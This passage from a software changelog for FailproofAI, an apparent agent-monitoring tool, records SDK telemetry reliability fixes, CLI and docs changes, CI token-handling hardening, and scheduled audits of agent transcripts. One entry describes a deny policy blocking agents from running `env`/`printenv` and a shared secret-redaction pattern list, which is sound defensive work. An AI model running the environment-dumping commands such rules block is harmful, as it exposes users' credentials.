pins the subdirectory name, the filename, the home directory, the `FAILPROOFAI_HOME` override, the `user-typed` classification and the deliberate absence of a class on the directory itself. It mirrors the SDK's `test_spool_contract.py`, including the parts that stop a source-reading test passing vacuously: every pattern must match exactly once, the anchors are asserted separately, and CI sets `FP_CLI_REQUIRE_CONTRACT=1` so a moved register fails instead of skipping. Verified end to end as well — a real `fp` session planted in a populated home survives a real `resettablePaths()` reset, while `audit/cache` beside it is removed. (#702) - -- **Three comments about the CLI's home contradicted the shipped code.** `fp-home.ts` said the move from `~/.fp/cli.json` "deliberately did NOT migrate the old file… so the upgrade costs a login rather than a credential-rewriting code path that runs once and is never tested again"; `config.py` said the legacy file is "Never read, never written, never deleted"; and `test_failproofai_home.py`'s own module docstring said it is "neither read nor deleted", 200 lines above the tests that assert it IS adopted. All three describe the behaviour before `ce2012db` added adoption: `load_config` reads the pre-move session, writes it to the new path and leaves the original so a downgrade still finds it — best-effort, and it costs no login. The tests were updated when adoption landed and the prose was not. Also corrected `fp-home.ts`'s citation of `home-classification.test.ts`, a file that has never existed; the classification guard is real and lives in `__tests__/hooks/fp-home.test.ts`. (#702) - -- **The SDK's cross-component contract test aborted the whole suite outside the repo.** `test_spool_contract.py` resolved `REPO_ROOT` with `Path(__file__).resolve().parents[3]`, which raises `IndexError` on a shallower tree — and a shallower tree is exactly the packaged-sdist case the file's own `_read_sibling` is written to handle ("in a packaged sdist that is expected"). Because it raised at import, pytest reported a collection error and stopped: running the suite from a copy of `sdk/python` turned 428 passing tests into `1 error`, so the graceful path was unreachable in the one situation it exists for. `REPO_ROOT` is guarded now and the existing skip/fail logic decides, as designed — 423 passed with 8 skips outside the repo, 429 with 2 inside. (#702) - -- **`event.*()` could raise `KeyError` into the caller's own agent loop.** `_track_pending` did `len()`, then `next(iter())`, then `del`, with nothing serialising the three — so two threads arriving at a full `_pending` picked the same victim and the second `del` raised, straight out of `event.tool_use()`. Measured at 24 crashes per 30_000 calls across 10 threads. It fires only once the map is full, which is exactly the long-running multi-agent process the cap exists for, so "rare" here meant "only in production". Eviction is tolerant now — `pop(key, None)`, and `next(iter())` guarded for the `StopIteration`/`RuntimeError` shapes a concurrent mutation produces. Deliberately no lock: a lock held at the instant of a `fork()` is inherited locked by a thread that does not exist in the child, which is the hazard `_writer` rebuilds its Event and lock to avoid. (#702) - -- **An exploding `__repr__` re-opened the permanent spool wedge.** `_encode_entry` caught `(TypeError, ValueError, RecursionError)`, but `default=str` runs the CALLER'S `__repr__` — which can raise anything, a `RuntimeError` from a lazy ORM attribute or an `OSError` from a property that touches the network. Those escaped, propagated out of `_write_batch`, and put the whole batch back on the queue to be retried identically forever: the same wedge the isolation exists to prevent, reached through a different exception type. The fast path catches `Exception` now — never `BaseException`, so a Ctrl-C during a flush still interrupts. (#702) - -- **A non-string `session_id` or `agent_id` was dropped by the server at `200 OK`.** Verified live: `{"accepted":0,"skipped":1}` for an int, a null or an object. The SDK reported success, the collector deleted the batch, and the event was gone with no error anywhere — and `None` is the realistic way in, from an uninitialised variable or a lookup that missed. Both are validated at the boundary on all 15 event methods now. Blank ids are refused too, and those the server *accepts*: the worse outcome, since every event lands and is silently grouped under one empty id, so the data looks present while being quietly merged across unrelated runs. (#702) - -- **A stuck write stranded one `.tmp` per flush cycle.** Each flush picks a fresh stem, so a persistent fault — a full disk, a read-only mount, a cross-device rename — leaked a file every interval: roughly 170_000 a day at the default 500 ms, on the very disk already in trouble, and invisible because the watcher ignores them by extension. The partial file is removed on any failure now; the batch itself is untouched by that, since `_flush` returns the entries to the queue and the next cycle rewrites them. (#702) - -- **A lone surrogate made the server skip the entire event, silently.** `os.fsdecode` and `bytes.decode(errors="surrogateescape")` — how Python carries bytes that are not valid UTF-8, and what a filesystem path or a truncated tool output arrives as — produce them, and `json.dumps` escapes them to the literal text `\udcff` without complaint. So nothing failed locally and ingest answered `{"accepted":0,"skipped":1}` at 200. Strings are scrubbed with `backslashreplace`, which keeps the offending byte legible in the payload rather than dropping it to a `?`, and the encoder reaches that path via one substring scan per line so a clean event still takes the fast path untouched. Verified live: skipped before, accepted after. (#702) - -- **SDK batches are now durably committed, not merely atomically published.** The writer used `write_text()` then `os.replace()`. A rename is atomic with respect to READERS, but it commits nothing to the platter — so a power loss or kernel crash could leave a correctly-named, zero-length or truncated `.jsonl`. The collector reads whatever is there, POSTs it, takes the 200, and then DELETES the file (`remove_file` in `crates/fpai-collect/src/uploader.rs`), which makes the loss permanent and silent. This was not a subtle oversight so much as an asymmetry: this repo's own Rust spool writer has called `sync_all()` at exactly this point from the start, with a comment saying why, and the Python writer publishing into the same directories was the odd one out. The batch is now fsynced before the rename and the parent directory after it — the second half matters because the reverse failure leaves the bytes on disk under a `.tmp` name the watcher ignores by design. The directory fsync is best-effort, since opening a directory for fsync is a POSIX behaviour. (#702) - -- **A measured `duration_ms` is now held to the same range the SDK refuses a caller.** `_validate_promoted_numeric` rejects anything outside an unsigned 32-bit integer, because `pu32()` stores NULL for the rest at `200 OK` — but the SDK's OWN computation was unbounded, so the same field was held to two different standards depending on who produced it. Two ways out of range, neither of them abuse: over, because 2^32 ms is ~49.7 days and a `human_wait` answered after a long weekend or an `agent_pause` resumed a month later is an ordinary lifetime for those pairs; and under, because these are wall-clock readings and an NTP step backwards yields a negative interval that `round()` faithfully preserves into an unsigned column. The four inline computations are one helper now, and an out-of-range interval is omitted with a warning rather than clamped — a clamped 49.7 days is indistinguishable from a measurement, and the whole reason this is computed rather than accepted is that a reported duration is unfalsifiable. (#702) - -- **Non-finite floats no longer emit invalid JSON.** `json.dumps` writes `NaN`, `Infinity` and `-Infinity` by default; they are a Python extension, not JSON, and a strict NDJSON reader rejects the line. Worse than being wrong, it was silent: `json.dumps` does not raise on them, so the encoder's sanitising fallback was never reached and the malformed line went out looking like a clean success. Both encode paths pass `allow_nan=False` now, which turns a non-finite float into an ordinary encode failure, and `_sanitize` maps it to `null` — the field reads as absent rather than as a number that is not one. Verified end to end: a payload carrying `NaN` and `inf` arrives in ClickHouse as `{"budget": null, "confidence": null, "label": "kept"}`, with the sibling field intact. (#702) - -- **The documented `tool_call()` bracket no longer drops its closing event on cancellation.** It caught `Exception`, and `asyncio.CancelledError` inherits straight from `BaseException` — so a cancelled async tool emitted `tool_use` with no matching `tool_result`, leaving an orphaned event that also holds its correlation slot until the cap evicts it. Cancellation is the ordinary way an async tool ends when a timeout fires or a caller gives up, not an exotic path. The session-level bracket in `events.md` had the same gap and the same fix; `run()` in the same file already used `BaseException`, which is what made these two an inconsistency rather than a policy. The `except Exception` around the emit call itself is deliberately unchanged — swallowing `KeyboardInterrupt` there would let telemetry block a Ctrl-C. New `tests/test_skill_snippets.py` parses every fenced Python block in the skill and fails any handler that wraps an emit without catching `BaseException`, because a documented snippet is code an agent copies into a real loop and nothing else exercises it. (#702) - -- Add `sdk/python/tests/test_spool_creation.py`, which pins what the SDK is allowed to create now that it writes inside `~/.failproofai` — a directory the CLI and the daemon own. It asserts the EXACT set of paths that appear in each of the three machine states (spool present, home present, nothing present), because an assertion that "the events directory exists" passes just as happily when a `VERSION` file appears beside it. That file is the hazard: `detectLayout()` reads `VERSION`, `config.json`, `config.toml` and layout 1's seven markers to decide whether a home is `absent`, `current` or `stale`, and a `stale` verdict is what authorises `resetHome()` to delete. Verified against the real `detectLayout()` that a home holding only `custom-agents/` reports `{kind: "absent"}` with `isConfigured()` false — indistinguishable from a machine that has run nothing — and pinned from the SDK side so a regression fails here rather than in the CLI months later. Both halves are negative-controlled: stamping a `VERSION` file fails 5 tests, creating a sibling directory fails 6. (#702) - -- **`fp-cloud-cli`'s README said telemetry is on by default; it is off.** `TELEMETRY_DISABLED` has been `True` since before the rename, because the send path stalls every command ~5s when the analytics host is unreachable — the shutdown flush is bounded, the client build and first connect attempt are not. The README also asserted the exact opposite of that ("sending is time-bounded, so it never delays a command"), and it ships in the wheel to PyPI. It now says the feature is disabled and why, keeping the collection description as a review-in-advance section since re-enabling is one constant. (#702) - -- **The `fp-cloud-cli` skill stated half the credential ladder.** "`FP_API_KEY` takes precedence over `FP_TOKEN`" holds only between the two environment variables: `resolve_auth` checks the explicit `--token` flag *before* the ambient API key, so exporting `FP_API_KEY` in CI and also passing `--token` runs as that user's saved session, with their org memberships, rather than under the scoped key you meant to audit. A skill is instructions an agent executes, so a half-stated rule is one an agent acts on. All six rungs are now spelled out. (#702) - -- **A tool call and a hook sharing an id no longer cross-correlate in the SDK.** `_pending` namespaced its human and pause pairings but not its tool and hook ones, which keyed on the bare `tool_call_id` and `hook_id` — and those collide routinely, because both are frequently the harness's own step id. The `hook_completed` then consumed the `tool_use` timestamp and reported `duration_ms` for the interval between two unrelated events, while the real `tool_result` that followed got no duration at all. Two plausible numbers, no error, and nothing downstream able to tell. All four pair types are namespaced now; the keys never leave the process, so no wire format changed — only the fabricated duration, which becomes a correct one. (#702) - -- **An unusable `flush_interval` no longer kills the SDK's writer thread.** The interval wait runs before the flush loop's `try`, deliberately — wrapping it would make a failing flush retry at full speed instead of next cycle. The cost was that a negative, NaN or infinite interval raised out of the thread and killed it, and a dead writer is this class's worst state: `submit()` keeps accepting events, the queue keeps growing, nothing is ever written, and the caller learns none of it until the process exits and takes everything with it. Zero did not raise but busy-looped, pinning a core. All of them are now refused by `configure()` and `set_flush_interval()` before any state changes, so the caller gets a `ValueError` pointing at their own call. (#702) - -- **Two SDK event batches written in the same millisecond no longer overwrite each other.** Batch files were named from a millisecond timestamp alone, so two writes inside one millisecond produced the same filename and the second `os.replace` silently destroyed the first — no exception, no log line, no trace the events had existed. It fired on the atexit flush racing the flush thread (exactly when the last events of a run are written), on `flush_now()` from two threads, and worst of all across processes, since nothing in the name identified the writer and several agents sharing one spool root is the ordinary deployment. The stem now carries the pid and a per-process counter, matching what `fpai-collect`'s own batches already do; both daemons only ever required the `.jsonl` suffix. (#702) - -- **The SDK's cross-component spool test no longer skips in CI.** It gated every assertion in the file on a source path from the private agenteye repo, so all four skipped in a normal run — including three that assert nothing but the SDK's own resolution rule and need no other checkout at all. It now reads `crates/fpai-collect/src/config.rs` and `src/hooks/fp-home.ts` from this repo and never skips, with `FAILPROOFAI_SDK_REQUIRE_CONTRACT=1` in CI turning a moved file into a failure rather than a skip. The older AgentEye collector stays checkable via `FP_AGENTEYE_ROOT`. A guard that can silently degrade to a skip is not a guard. (#702) - -- **One unserializable payload no longer wedges the SDK's spool for the life of the process.** Serialisation was a single `json.dumps` over the whole drained batch, so one event that could not be encoded took every event beside it down: `_flush` returned the batch to the queue and re-raised, `_flush_loop` logged and retried the identical batch next interval, and that repeated forever. Everything emitted afterwards queued behind it, and the only outward sign was `Exception ignored in atexit callback` on the way out, which reads as a crash in the host application. `default=str` was never a defence — it is consulted for unsupported *values*, so it rescues datetime and UUID and does nothing for a non-str dict key or a reference cycle, which are the two shapes ordinary agent payloads actually arrive in (a tuple-keyed cache; an ORM row holding a back-reference). Encoding is per-entry now: strict first, so ordinary events are byte-identical to before, then a sanitised copy that coerces non-str keys and marks cycles, and only then is that ONE event dropped and logged. Encoding failures drop because retrying them is guaranteed to fail identically; filesystem failures still re-queue the whole batch, because those are transient. (#702) - -- **The SDK's in-memory queue is bounded.** `submit()` runs on the caller's agent loop and must never block or raise, so it cannot apply backpressure — which left an unbounded queue, and any condition that stopped the spool draining then turned a telemetry outage into an OOM kill of the host process: the SDK taking down the very agent it exists to observe. It is capped at 10_000 events now, matching `_PENDING_CAP`, discarding oldest-first and saying so in the log on the first drop and every thousandth after, because a stuck spool must not become the thing that fills the disk it is complaining about. (#702) - -- **The SDK's flush thread now survives `fork()`.** Threads do not, so a forked child inherited a queue, an atexit hook and nothing to drain either: `submit()` kept accepting, nothing was ever published, and the events appeared only if the child happened to exit through a normal interpreter shutdown. A prefork worker — gunicorn, celery, `multiprocessing`'s default start method on Linux — is killed instead, so telemetry from the workers, which is where all the work happens, silently never arrived. An `os.register_at_fork` handler restarts the thread in the child and rebuilds its `Event` and lock, both of which can be inherited held by a thread that no longer exists. It also discards the queue the child inherited: those events belong to the parent, which still holds them, and publishing from both produced a byte-identical duplicate of everything buffered at the instant of the fork. (#702) - -- **SDK tool and hook durations no longer correlate across sessions and agents.** The entry above namespaced `_pending` by what each pairing pairs; this is the other half. Human and pause pairings were keyed by session and agent from the start, tool and hook ones were not, and `_pending` lives on a single process-wide namespace — so a supervisor running agents concurrently, which is the ordinary multi-agent shape, collided on any step id that repeated across sessions. Starting `step-1` in session A and then in session B overwrote A's timestamp; A's result reported B's interval and B's result reported none. Both plausible, neither an error. The keys never leave the process, so again no wire format changed. (#702) - -- **The SDK refuses a promoted column value the server would silently store as NULL.** Ingest lifts `duration_ms`, `input_tokens` and `output_tokens` into unsigned 32-bit columns with `pu32()`, which returns None on a type mismatch — and None is written as NULL under a `200 OK`, so a string, a float, a bool or a negative arrived as an empty column with nothing logged and nothing rejected. `_RESERVED` never covered this: it blocks five structural keys and passes every other custom field through untouched, whatever it holds. All three are now type-checked wherever they can be set — as a custom field on any event, and as `model_response`'s own two parameters, which are the likeliest to arrive wrong since callers fill them straight from a provider's usage object. Rejected rather than coerced, at the boundary, where the caller still has a stack trace pointing at their own call. (#702) - -- **A new `flush_interval` applies to the cycle already waiting.** The writer thread starts at import, so its first wait was always the 500 ms default; a caller asking `configure()` for 50 ms had no way to know their first cycle would be ten times longer, and that window is long enough for a fork or an exit to land inside it. The loop waits on an `Event` rather than sleeping, and `set_flush_interval` now cuts the current wait short. (#702) - -- **A flush racing interpreter shutdown no longer loses the batch.** A batch is drained from the queue *before* it is written, so a flush thread stopped part-way through — which is what happens to a daemon thread once the interpreter starts finalising — took those events with it, leaving at most a stray `.tmp`. The atexit flush could not help because its emptiness check ran outside the lock: it saw an already-drained queue, returned immediately, and the dying thread kept the events. The check moved inside `_flush_lock`, so the final flush waits for an in-flight write instead of racing it; atexit callbacks run before threads are hung, so waiting is enough for it to finish normally. The atexit hook is also registered once at module scope over weak references rather than per writer — `atexit.register(self._flush)` stored a bound method and so made every writer immortal — and it swallows and logs its own exceptions, which is what was printing a traceback into the host agent's stderr during shutdown. (#702) - -- **`fp query update --sql @-` no longer saves an empty query.** `@-` is stdin, and stdin drains on the first read — the command read it twice, once to decide which fields changed and once to build the request body, so change detection compared the real text while the save wrote `""`. Exit 0, green card, query emptied. Read once into a local instead. (#702) - -- Emit the documented `{"cancelled": true}` envelope when `fp issues resolve` and `fp issues comment-delete` are declined under `--json`. Both docstrings promise it and the other ten write commands emit it; these two printed only the human stderr line, so a script reading stdout got an empty document at exit 0. (#702) - -- **Keep the customer's name out of the tripwire that exists to keep the customer's name out.** `test_no_customer_identifiers.py` spelled out the real tenant slug it denies, in a public repo, in a file that ships in the sdist — and excluded itself from its own scan, so nothing reported it. The customer entries are SHA-256 digests now, matched over token substrings so both the slug and the longer company name built from it still trip, and a failure names the file, the line and what class of identifier it is, never the identifier. Our own org names stay in the clear: they are in `LICENSE`, `SECURITY.md` and `package.json` already, and a contributor who trips over one needs to see which it was. (#702) - -- Grant `contents: read` in `publish-fp-cloud-cli.yml`. Naming any scope in a `permissions` block sets every unnamed one to `none` rather than leaving it at the default, so the job that only asked for `id-token: write` handed `actions/checkout` a token that cannot read this repository — and a comment two lines up asserted the opposite. (#702) - -- Bind the fp-cloud-cli PyPI publish to a `pypi-fp-cloud-cli` GitHub environment, since every guard in that workflow lives on the ref being dispatched — a writer could delete the actor allowlist and the `main` check on a branch and click Run, and OIDC mints a publishing token for whatever the workflow asks. The environment's deployment-branch rule lives in repo settings and its name in PyPI's publisher config; neither is reachable from a branch, and deleting the `environment:` line now fails the upload on a claim mismatch. Documented as required setup, because GitHub creates a missing environment implicitly and *without* protection rules. (#702) - -- Stop `sync-fp-cloud-cli-skill.yml` writing its PAT into `$WORKDIR/.git/config`. The credentialed clone URL persisted a token holding Contents write + Pull requests write on `FailproofAI/skills` into a workspace where the very next step runs `validate-skills.py` — a script fetched from that same repo. Both the clone and the push now authenticate through `git -c http.extraheader` (before the subcommand, so it is not persisted into the new repo's config) with the secret coming from `env:` rather than interpolated into the script body. (#702) - -- Add `__tests__/ci/fp-cloud-cli-workflows.test.ts`, the drift guard for all four workflow invariants above — the two that look redundant (`contents: read`, the environment name matching the header) are the two a cleanup would delete. (#702) - -- Make the docs' light mode pink instead of blue. `colors.primary` in `docs.json` is the value Mintlify uses for light-mode emphasis — links, the active sidebar item and its icon, the tab underline, breadcrumbs, card icons, the on-this-page anchor — and it was `#002CA7`, a blue that appears nowhere else in the brand. `colors.light` and `colors.dark` already carried the brand pink, so light mode read blue-on-white with pink buttons while dark mode read pink; the two modes were different brands. It is now `#c92251`: the logo pink's own hue (343°) at full saturation, darkened until it clears 5.48:1 against white (4.98:1 against the blockquote's `#f3f4f6`). The dark-mode value could not simply be reused — `#e4587d` reaches only 3.51:1 on white and 3.19:1 on that same grey, both under the 4.5:1 AA floor for body text, and every one of those surfaces is text. `custom.css`'s blockquote border and quote glyph follow the same split through a new `--fpai-pink` variable, deep in light mode and bright in dark. Verified by rendering the real site under `mintlify dev` in both modes: light-mode `--primary` resolves to `rgb(201 34 81)` and the blockquote border with it, dark mode is unchanged. (#718) - -- Give the OpenAPI spec an absolute server URL, so the HTTP API reference can generate request examples again. `servers[0].url` was `/v1` — relative, which is legal OpenAPI but useless to Mintlify's playground: it builds each example by joining that value with the operation path, and a value with no scheme or host yields no request to show. Every endpoint under the HTTP API tab rendered *A valid request URL is required to generate request examples* in place of its example. It is now `https://app.befailproof.ai/v1`, the base the prose already documents in `reference/http-api.mdx` and `audits/agent-contracts.mdx` and that `collector-config.ts` posts events to — so the reference and the rest of the docs finally name the same host. (#718) - -- Drop the Status link from the docs sidebar. It was a `navigation.global.anchors` entry, which Mintlify pins above the page tree on every page in every tab — permanent real estate for a link that answers a question almost no reader of a docs page is asking. Support stays, since that one is reached from anywhere in the docs by someone who is already stuck. (#718) - -- Drop a duplicated entry and a repeated `### Fixes` heading from this release's own section. The canary-images entry was committed twice — once carrying an unfilled `(#788)` placeholder and once as `(#705)` — and the section then opened a second `### Fixes` block a few entries after the first. Both were invisible while the changelog was only ever read on GitHub; the release announcement renders straight from these sections, so a duplicated headline and a heading appearing twice were about to show up in a public channel. (#721) - -## 1.0.1-beta.0 — 2026-08-14 - -### Docs - -- Add an implementation-ready plan for a fresh FailproofAI documentation site centered on tracing agent runs, auditing failures, evaluating live quality, and deploying policies that prevent recurring failures. - -### Features - -- Add `failproofai audit --schedule [days] --email you@yourdomain.com`, so signing in is one command and then the code. The flag answers the first of the two questions up front; the second still happens at a prompt, because a one-time code has to be read out of a mailbox by a person and no flag changes that. Both `--email addr` and `--email=addr` parse, and the address is validated at the CLI boundary beside the day count — before a frame is drawn or a code is sent, so a typo reads as a usage error rather than as a sign-in that opened and gave up. It is still SHOWN as a settled step, since a flag is exactly where a wrong address hides and that step is the last place to catch it before somebody starts waiting for mail. **A different address on a machine that is already signed in is refused**, naming both and how to switch: where a machine's digests go is not something a flag should change quietly, because nobody notices until they stop arriving. The same address is a no-op that proceeds without prompting, compared case-insensitively as a mail server would. Deliberately NOT added: a `--code` flag. It would land in shell history and sit in `ps` for every other user on the box, and the code is short-lived rather than harmless. The argument parser is positional now, too — it matched values against a set of seen strings, which cannot tell one flag's argument from another's. (#698) - -- Give the schedule CLI's sign-in the frame `failproofai config` uses — the logo, the `│` spine, `◆`/`◇` step glyphs and a pink `└` close — because it is the same product asking, and the one moment this command asks for something personal. The email and the code now read as two steps of one flow rather than four loose lines, with the address echoed back on the settled step: a typo there is the likeliest reason no code arrives, and that is the last place to notice it before somebody starts waiting. **A pasted code just works.** The code is numeric, so "Your failproof code is 123456", a copied "123 456" and a stray trailing space all resolve to the digits — pasting the line out of the email was previously rejected for length, and because the server answers a too-long code with `validation_error` rather than `invalid_code`, the retry loop treated it as fatal and the whole sign-in aborted for a fresh email. Input with no digits at all is refused at the prompt rather than spending one of the server's five attempts. It is deliberately NOT masked: a login code is single-use and expires in minutes, so hiding it protects nothing and costs the only thing that matters at that prompt — seeing your own typo before pressing enter. The prompt's hint now steps aside once you type, since a placeholder sitting beside a real answer is the arrangement most likely to make somebody wonder which is theirs. `--schedule` and `--no-schedule` report through the same vocabulary, and the frame appears only when a flow actually happened: signing in draws it, an already-signed-in machine gets a compact confirmation instead, because a spine with no beginning reads as an unfinished wizard. `--status` keeps a two-column readout for the same reason — it is a snapshot, not a flow — and its colour now answers to the same `colorsEnabled` gate as everything else, where before it emitted ANSI into piped output that had no structure to go with it. (#698) - -- Offer the way forward when a stored session turns out to be dead, and name the machine's name as something that leaves the box. Turning scheduled audits on asks the api-server who you are, while the page reads "reports go to …" from the local session file — so the two disagree exactly when a session has expired or was minted against a different server, which is the common case rather than an edge one. The click then took the signed-in path and dead-ended on "could not turn that on." with no dialog and no next step. The refusal could not simply be caught and inspected either: **Next masks a thrown server-action error before the browser sees it**, so the client gets an opaque digest and never the message — matching on the text would have worked in development and silently degraded to a generic failure in production, which is precisely what shipped. `setAutoAuditAction` now RETURNS `{ok: false, reason: "signed-out"}`, a discriminant that survives the boundary, and the page re-reads before opening the sign-in dialog so it stops displaying an address while asking for one. Turning scheduling OFF is still never refused — an expired session must not trap somebody into keeping a feature they are trying to disable. Separately, the settings panel's **sends** line stops saying "only counts and redacted examples": the report carries the machine's name too — its hostname, which routinely carries its owner's — and very nearly true is the worse kind of claim when the reader can check it against the same email. It now enumerates all three, in the same order the digest does. (#698) - -- Make a section eyebrow one colour, and drop the one on `/settings`. The label read `━━ audit · first run` in three colours — a pink rule, a dim dot, mint text — which presented one fact as three things happening on a line. `.section-label .glyph` was ALSO declared twice, in `globals.css` and again in `audit/audit-styles.css`, and the audit copy loads second: the first fix changed the value nobody was reading, and the page kept rendering the old colour. Both now inherit, so the label is a single colour and the two files cannot drift apart again silently. `/settings` loses its `━━ this machine ━━` eyebrow entirely — the h1 says "settings" and the page is about this machine either way — and its tagline becomes "keeping watch, so you don't have to." (#698) - -- Rebuild `/settings` as a console for the service, not a card floating on a black page. Two rows drawn as one instrument: a **stat row** — daemon, next scan, last scan, findings — and a **panel row** carrying the controls beside what the scan actually does. The page used to answer one question ("is the toggle on"); it now answers the two anybody actually has in front of a background service, which is what it is doing right now and what it will do with what it finds. Every hairline is a `gap: 1px` over a line-coloured background rather than a border per cell, because borders double where cells meet and vanish at the edges — the grid is one pixel everywhere by construction instead of by arithmetic. The design doc this came from specified its own palette and two new webfonts (`#050506`, `#ff3b66`, `#3ee6a4`, VT323, IBM Plex Mono); it is built on the shipped tokens instead, so `/settings` and `/audit` remain one product a click apart, and `--warn #e8b339` is dropped rather than introduced — pink is the only channel this brand has for "needs a person", and a third hue would have been a new rule for one page. **Three of the four stats needed no new storage and two are better than the doc assumed**: the countdown comes from the daemon's own `next_due_at_ms` rather than last-scan-plus-interval, which silently drifts the moment the interval changes mid-cycle; and the daemon's state keeps `daemonServiceStatus()`'s four answers, because "installed but its binary is missing" is a different fix from "it crashed" and a heartbeat file cannot tell them apart. The `findings` stat reports THIS scan rather than a lifetime total, which needed a counter, a writer on both the CLI and daemon paths, and a decision about what a reset does to it — none of which the stat was worth. `readDashboardCacheMeta` now returns the counts alongside the timestamp, and deliberately still bypasses the TTL: the reader that drops an aged entry is right for rendering results and exactly backwards for a stat whose subject is that the scan was a while ago — mixing the two readers is how a page ends up showing "6 days ago" beside a blank count. An unreadable count renders as `—`, never as `0`, since a machine that scanned and found nothing is not the same claim as a file that failed to parse. `daemonStartedAtMs()` reads systemd's MONOTONIC activation stamp rather than the printed `ActiveEnterTimestamp`, whose locale-and-abbreviation format (`Fri 2026-08-14 19:45:13 IST`) `Date.parse` rejects on most abbreviations and mis-parses on the rest; it returns an absolute time so the page keeps counting without re-fetching, and null on macOS rather than a guess, since launchd would need a second privileged call per render to answer. The schedule tape survives, under the panels: the stats give numbers and the tape gives a position, which is the one thing no number shows at a glance. (#698) - -- Put scheduled audits on the command line: `failproofai audit --schedule [days]`, `--no-schedule`, and `--status`, with email-OTP sign-in in the terminal. The switch existed only on a settings page, in a browser — and `failproofaid` is a SYSTEM service (`WantedBy=multi-user.target`, starts at boot, no login, survives logout) built precisely for headless boxes, detached tmux, cron and CI runners, not one of which can open a page. The feature shipped for machines with no way to turn it on. **Parity is structural, not a promise.** Every write here calls the same `updateConfig` the dashboard's server actions call, and the session goes through the same `auth-store` — one `config.json`, one `audit/session.json`, one writer for each — so "the CLI and the dashboard always agree" is a property of the shape rather than something tests have to defend; verified live in both directions. Signing in reuses `requestLoginCode` / `verifyLoginCode` and writes the same `0600` session file the dashboard writes, so a terminal login shows up in the browser and signing out there ends the session the scheduled audit was going to report under. `--schedule` requires a session for the reason `setAutoAuditAction` does: scheduling and mailing are ONE decision, and a timer with nobody to tell is a switch that reads as on and produces nothing. `--no-schedule` never checks, because an expired session must not trap somebody into keeping a feature they are trying to disable, and it leaves the session alone — signing out is a separate decision. A bad day count is rejected BEFORE the sign-in, so a typo never costs a round of OTP; the interval is written and RE-READ so what prints is what the config kept, with `readIntervalDays` still owning the 1..90 clamp. Turning it on reports the DAEMON's state too, since config saying "on" and nothing running it is the same silent failure the settings panel exists to expose, and a non-interactive terminal gets one sentence instead of a hang on a prompt nobody will answer. `--status` has no equivalent anywhere: it is the only way to ask a headless machine whether scheduling is on, where reports go, whether the daemon is up, and when the next scan is due. Two doc comments in `app/actions/` claimed the `failproofai config` wizard already wrote these keys — it never did, the wizard calls `updateConfig` zero times — and they are corrected here rather than left describing a command that did not exist. (#698) - -- Give scheduled audits their own page again, and leave the audit report to be a report. The controls sit at `/settings`, reached by a gear in the header between the refresh controls and reach-us — an icon rather than a fourth nav tab, because the tabs are views of DATA (projects, policies, audit) and this is machine configuration; putting it in that row would have claimed it was another place to look at results. Section 05 of the audit keeps one job and is now **spread the audit**: the share card and nothing else. A report should not end in a settings form. The panel is built from what the service actually has — a state, a timer, an identity — on the app's existing tokens and existing chrome (`.panel` and its corner brackets, `.btn-press` and its hard pixel offset), with one drawn element: a **schedule tape** showing where this machine sits between the last scan and the next, because that is a POSITION and no number shows a position at a glance. It renders nothing without two real ends, since a machine that has never run a scheduled scan is not inside an interval and a rail claiming otherwise would be decoration. **One switch, not two.** `audit.email_enabled` is gone: scheduling and mailing are the same decision — the reason to put a scan on a timer is to be told what it found — so two keys could only ever disagree, and "signed out with the timer on" becomes a state DERIVED from the session rather than stored. That state is named on the page ("scans continue, digests are paused") rather than prevented, because auth gates setting the timer up and never the machine's ongoing work: a refresh token expiring must not silently switch off a background feature somebody configured months ago. The page is **server-rendered from the config** rather than fetched after mount — the client-side version painted "off. nothing runs and nothing is sent." and then flipped to the truth, so a page whose whole job is to say whether a security feature is on spent its first frame saying the opposite. It reads local files, so there was never a latency reason to defer it. (#698) - -- **Remove re-audit reminders entirely** — the reminder API route, the cadence buttons, `scheduleReminder`/`cancelReminder`, the reminder half of the auth status route, and the reminder store. The api-server deleted its reminders endpoint in the same release, so the client calling it would 404; more to the point the machine now audits itself and mails a digest when it finds harm, so there is nothing left to nudge anyone about. The reminder file is retired to `legacy` and cleared by the next reset — the layout-4 step still MOVES it there rather than deleting it, because a migration that destroys something a person chose is a different act from one that relocates it, even when the thing is obsolete. Section 05 of the audit keeps one job as a result: **spread the audit**, the share card and nothing else. A report should not end in a settings form. (#698) - -- Report harmful findings from a scheduled audit, so the machine can tell you what its agent did instead of asking you to go and look. Gated on `[audit] auto` — ONE switch, since the reason to put a scan on a timer is to be told what it found — plus `[audit] reports_consented_at`, a stamp written by the same call in both opt-in paths. That second key is a consent RECORD rather than a second switch, and it exists because `auto` changed meaning: through 1.0.0 it meant "scan this machine locally on a timer" and needed no account and no network, so reading it as agreement to upload transcript excerpts would have started every already-scheduled machine mailing on upgrade. Off by default, and a grandfathered machine keeps scanning and sends nothing until somebody opts in again. **The window is applied per event, not through `--since`.** `--since` filters on transcript MTIME, which is right for deciding which files to open and wrong as a window: a session left open for a month has a fresh mtime, so `--since 7d` hands back that whole transcript including month-old events, and the first digest anyone received would describe everything their agent had ever done as though it happened that week. The scan stays unfiltered and the window is applied here, against the timestamps `AuditCount` already carries. Where activity straddles the boundary the report counts the EXAMPLES inside it rather than the policy's total — the cache stores counts, not event lists, so there is nothing to subtract; undercounting is the safe direction because the server's threshold reads these, and it can delay a digest but never invent one. **Harm is `deny` + `sanitize`**, plus `protect-env-vars` by hand: `severityForBuiltin` derives severity from the NAME PREFIX, so a policy that blocks `env`/`printenv` outright reads as hygiene, and its whole subject is an agent reaching for the environment — inheriting a scoring heuristic's blind spot into a security digest would be the wrong kind of consistency. Examples are redacted before they leave, against `SECRET_PATTERNS` — now exported from `builtin-policies.ts`, so blocking and redacting share one definition of "secret" rather than growing a second list beside it that eventually disagrees. Masking runs BEFORE path-shortening, because shortening can cut a path mid-token and a credential sliced in half stops matching its own pattern and ships as a fragment. `~/.failproofai/audit/machine.json` holds the machine id and the digest watermark, both `identity` class: regenerate the id and the server sees a new machine on every logout, reset the watermark and the next report re-covers months. The id is minted fresh rather than reusing `state/telemetry-id`, so opting into a digest never links the anonymous telemetry person to a verified address. The whole path runs in the audit CHILD, never the daemon — refresh rotation is theft-detecting, and keeping the token inside the audit lock is what stops a cross-process race from revoking every session a user has. Scheduled runs only, and nothing in it can fail a scan: every error is an outcome, so a dead network or an expired session leaves the local audit working and its dashboard correct. (#698) - -- Gather everything the audit owns under `audit/`, as layout 4. `auth.json` becomes `audit/session.json`, `next-audit.json` becomes `audit/reminder.json`, and `state/audit-schedule.json` becomes `audit/schedule.json`, so one directory answers "what does the audit know about this machine" the way `policies/` answers it for enforcement. Two new paths join them, and the split between them is the design rather than tidiness: `session.json` holds the tokens and is `user-typed`, while 